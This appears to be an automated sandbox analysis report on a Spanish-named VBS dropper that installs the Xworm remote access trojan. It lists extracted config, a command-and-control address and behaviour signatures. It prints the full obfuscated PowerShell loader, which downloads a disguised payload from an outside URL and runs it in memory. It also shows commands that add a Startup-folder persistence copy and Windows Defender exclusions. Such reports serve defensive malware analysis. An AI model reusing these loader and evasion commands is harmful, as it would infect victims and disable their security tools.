Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
14/08/2026, 12:18
General
- Target Comprobante de pago.vbs
- Size 942KB
- Sample260814-pgtptsttex
- SHA256 cadf283eb0ce75f0907bac1c60dbdc89ead2e98eb8ec929353c24f420cfc1a17
Malware Config
Extracted
-
ps1
-
exe.dropper
https://munihuacho.gob.pe/vehiculos/MSI_PRO.png
Extracted
-
xworm
-
5.0
-
194.116.236.54:2467
-
jkqRGXU87KMxJ5rD
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 47 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Comprobante de pago.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Comprobante de pago.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Comprobante de pago.vbs' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Creates a file in the Startup directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$truncating=''https://munihuacho.gob.pe/vehiculos/MSI_PRO.png''; $compossibility = [System.Net.HttpWebRequest]::Create($truncating); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($perforati)); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''8u1budMVDxCH8K+0ugV+9O7+jzoU0nwT0cYaApXtBaZzKkVCPCKPtQI8CcfwjH8DNr1m8xJ2ywKs6+BIA4uJt/pM1ukFUMJq/4I+u2zxJVU='','''',''RpHPhmNbec9AdMzV/iaj5IHLk7m+r7/rofaOxJNSVNa/65d1GsfgThmlJpsTPzsX'',''rbUuI4Sm43XZ5glYqxA+3LxQoLEwnXqEWg1TlYe4YfI='',''ceb5j+qphvAw1yJaxiJw4vKYCtmCpBkG0Llj/gEDhqg='','''',''0c3VvNCVW5m4aPspaIid8ABqHkfp/9Fa4uONNb0fets='','''',''t445dBTgHitEvmIKpNc8UGvtBLg/v7G+KEDuvnPW5yQ='',''RnDdla4lCdDYmsyTp6ChP1QN6gPQWnANAxiAxuQdI9N1p5tqVs/p/xdKQt9toXfx'',''+6R3dc5p53G/T1L2bxbGJpsR2kRzqAxCRnCxHEBrKA0='',''8yU9fNMZeh6M7SelJ9KlC6aQV+U4iycqA9lpdDAcAP0='',''xC9lkB4nIuC0xHrYOiXDOiCEd1VuM4D0NDDsaflzNNk='','''',''OLomsi4U9VCIlBRlW1bgxvyo+5V1/rKQdX8ZKYhIDYI='',''u+dAAINqYYMz3sF9Zz8AahhbJsDPwzAZ0Jb8/bwemhk='','''','''',''''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_n14wu00y.31b.ps1
memory/2404-55-0x0000000005AF0000-0x0000000005E4B000-memory.dmp
memory/2404-59-0x0000000070280000-0x00000000702CC000-memory.dmp
memory/4964-8-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-11-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-6-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-7-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-4-0x00000216B7090000-0x00000216B70B2000-memory.dmp
memory/4964-9-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-10-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-5-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-12-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-13-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-14-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-15-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-16-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-18-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-3-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-0-0x00007FFE8B8FF000-0x00007FFE8B900000-memory.dmp
memory/5080-26-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5080-25-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5080-24-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5080-27-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5080-28-0x00000252F2420000-0x00000252F2480000-memory.dmp
memory/5080-32-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5080-19-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5080-20-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5156-29-0x0000000000400000-0x0000000000410000-memory.dmp
memory/5156-31-0x0000000004EC0000-0x0000000004F5C000-memory.dmp
memory/5156-65-0x0000000005960000-0x000000000596A000-memory.dmp
memory/5156-64-0x0000000005980000-0x0000000005A12000-memory.dmp
memory/5156-63-0x0000000005C40000-0x00000000061FA000-memory.dmp
memory/5844-43-0x0000000006D50000-0x0000000006D9C000-memory.dmp
memory/5844-50-0x00000000081B0000-0x000000000882C000-memory.dmp
memory/5844-40-0x00000000064F0000-0x000000000684B000-memory.dmp
memory/5844-44-0x0000000007810000-0x0000000007846000-memory.dmp
memory/5844-45-0x0000000070280000-0x00000000702CC000-memory.dmp
memory/5844-48-0x00000000077D0000-0x00000000077F0000-memory.dmp
memory/5844-49-0x0000000007A50000-0x0000000007AF3000-memory.dmp
memory/5844-42-0x0000000006490000-0x00000000064AE000-memory.dmp
memory/5844-51-0x0000000007B70000-0x0000000007B8A000-memory.dmp
memory/5844-52-0x0000000007BE0000-0x0000000007BEA000-memory.dmp
memory/5844-36-0x0000000006230000-0x0000000006296000-memory.dmp
memory/5844-39-0x00000000062A0000-0x0000000006306000-memory.dmp
memory/5844-35-0x0000000005930000-0x0000000005952000-memory.dmp
memory/5844-34-0x0000000005AF0000-0x000000000613A000-memory.dmp
memory/5844-33-0x0000000002FD0000-0x0000000003006000-memory.dmp
memory/5844-53-0x0000000007DE0000-0x0000000007E76000-memory.dmp